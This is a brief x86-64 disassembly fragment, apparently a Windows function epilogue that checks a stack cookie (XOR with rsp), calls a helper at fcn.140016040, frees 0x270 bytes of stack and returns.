mov rdi, qword [rsp + 0x280]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140016040
add rsp, 0x270
pop rbx
ret